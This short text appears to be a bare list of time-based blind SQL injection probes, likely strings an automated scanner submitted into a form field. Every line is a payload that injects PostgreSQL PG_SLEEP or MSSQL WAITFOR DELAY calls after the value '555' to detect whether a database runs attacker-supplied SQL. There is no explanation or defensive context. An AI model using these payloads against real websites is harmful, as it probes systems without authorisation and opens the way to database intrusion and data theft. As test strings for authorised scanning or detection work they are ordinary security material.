555-1) OR 853=(SELECT 853 FROM PG_SLEEP(15))–

555-1 OR 778=(SELECT 778 FROM PG_SLEEP(15))–

555lKk7N7yC’; waitfor delay ‘0:0:15’ —

555-1 waitfor delay ‘0:0:15’ —

555-1); waitfor delay ‘0:0:15’ —